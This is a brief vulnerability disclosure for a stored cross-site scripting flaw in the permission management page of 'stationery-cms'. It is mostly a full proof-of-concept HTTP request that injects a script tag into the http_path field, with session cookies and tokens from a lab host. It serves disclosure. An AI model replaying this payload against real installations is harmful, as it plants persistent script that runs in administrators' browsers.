Background permission management storage xss

[qbz95aaa]

Vulnerability affects product:[stationery-cms]
Vulnerability type:storage xss vulnerability（Cross-site scripting）
Vulnerability Details：
Background permission management storage xss
poc
`
POST /admin/auth/permissions HTTP/1.1
Host: 192.168.3.129:8091
Content-Length: 849
Accept: text/html, /; q=0.01
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: #pjax-container
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydDQj3dFW3TBgHzKD
Origin: http://192.168.3.129:8091
Referer: http://192.168.3.129:8091/admin/auth/permissions/create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cms_ds_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJtYXN0ZXIiLCJpc3MiOiJKUkNtcyIsInN1YiI6IkpSQ21zLURhc2hib2FyZCIsImV4cCI6MTY5ODgxOTIzNn0.IbsTyYy5sJZlBDtgIiOb9G6idpa9b2LkWioRlSMlSEA; .AspNetCore.Antiforgery.WE9Ryc20IQg=CfDJ8HxjCh0oOylDk40Utlg0kuUFWVLtvNW_C4pGl8LD435wIbnnMrZdOHOVRm58Tf9ea-RLT8Cp1rFj-RWlZ5XrTw9-pVKvbqtZLLUaL1326gsyfJyfQ4k6KDwnwVkIpwADhj_KGa_UpcDu8IqL7EsVtWw; .AspNetCore.Session=CfDJ8HxjCh0oOylDk40Utlg0kuXb68MZjsW%2FxifhC6RHBoXE9qf6bZAULAztKWrxdQ9IBGV%2FMomSXYW%2BGJr9gVN1G67kZ5ZHUvzZTEMIYQoRouYf9upg6F4i%2BhutGrGde7h3SIdWEXSN5b50ouWrN9AG8MmS%2FGz8y0InZBJWSgEn5O55; .AspNetCore.Cookies=CfDJ8HxjCh0oOylDk40Utlg0kuXw6Bar2FloCPnRmIK8z27i1l1eQZE9H20ZfZqx9xSA5gVSrZS5hfpqeu4tILEhHunDaAOIqfEmmxsRNV2SMHnwXt_-X0kdVf67A8e1MWMxP-p-tuJZSsa7zVQwOFqTVBFHpgk2dGT3N2U0Th0WR3lQUMdM42wC-XbWYchKNG_fiMCNOPg2MXOFaBmuPreHzuI2wxc-a8KiA7afrdzzz4BnurbEbl8aR8DL0WYq8jFHxZdo1RwJwXULO2qvHYIQzgjZvELBShr4j8C6FJ82VBL5Gq3zFSHAJZ0ddy2q9M0cLUVM4alP8kmxfwfeaVHMZR1cS3_WwDQz5hvGNQuVwIijYdb4HUUpYTKZh2hs_j-o0joMSDe7mdS_3rTvyQ5errD_GkyZZnZL7qZ2jydHhlZMa2vPLOHmLFan6WXhtTk0E_1-zYB117H7tFTA_jJGaNrPVYEuQmmSuBf3kwlWwV1TfGQYL7dPbZDscJdMhn34YnL3LvBlWmY6wRO1ZkZrLmRSsIzcWL7PKHaELAXf8VHz; XSRF-TOKEN=eyJpdiI6Imt6cFNqdnBPK2N2WWRjMWhyNEJxNkE9PSIsInZhbHVlIjoiaWNIQ2U3RXhnOXdFVzVuN2R0akYyaXBNTTltcE9MYUdWKzI1T2RrZU5ON3Vnd2VFK2VlQUFWVkJtdTJUWG9zZCIsIm1hYyI6IjBjMmMzYzk0NmFkZmQzMzJmYzlmM2U1MjRiYWNjMDU1NzgxYzFmMjljYjVlYzk0YWY4MjE0NTFjZWExZDY3MzYifQ%3D%3D; laravel_session=eyJpdiI6IktBWWZZQkJZZlVsTkhyejZha3VpTUE9PSIsInZhbHVlIjoiYUVTR1RjR1VUVzR5bUIzS1ZRdHRnOENoU1lXcXJzODNHV0cxSVwvMkQ4ZHR5TUc1TXV3OEJKVGJ3OWhoaTNaRHQiLCJtYWMiOiIyZmFkOTkxNzExMzczNGRjNzVjYmE5ODc0NWIzMjAwMjkwMzhjZDQ1YTdiMzA1YjUzYjI3N2M3NTdmOTdmY2IxIn0%3D
Connection: close

------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="slug"

testxss
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="name"

testxss
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="http_method[]"

GET
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="http_method[]"

------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="http_path"

testxss<script>alert(1)</script>
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="_token"

ED1xpWqdNpwzitdl1h6dkpsshUMpYwt7fxtNdVVY
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="previous"

http://192.168.3.129:8091/admin/auth/permissions
------WebKitFormBoundarydDQj3dFW3TBgHzKD--

`

then you can view exploit xss sucess in url
http://192.168.3.129:8091/admin/auth/permissions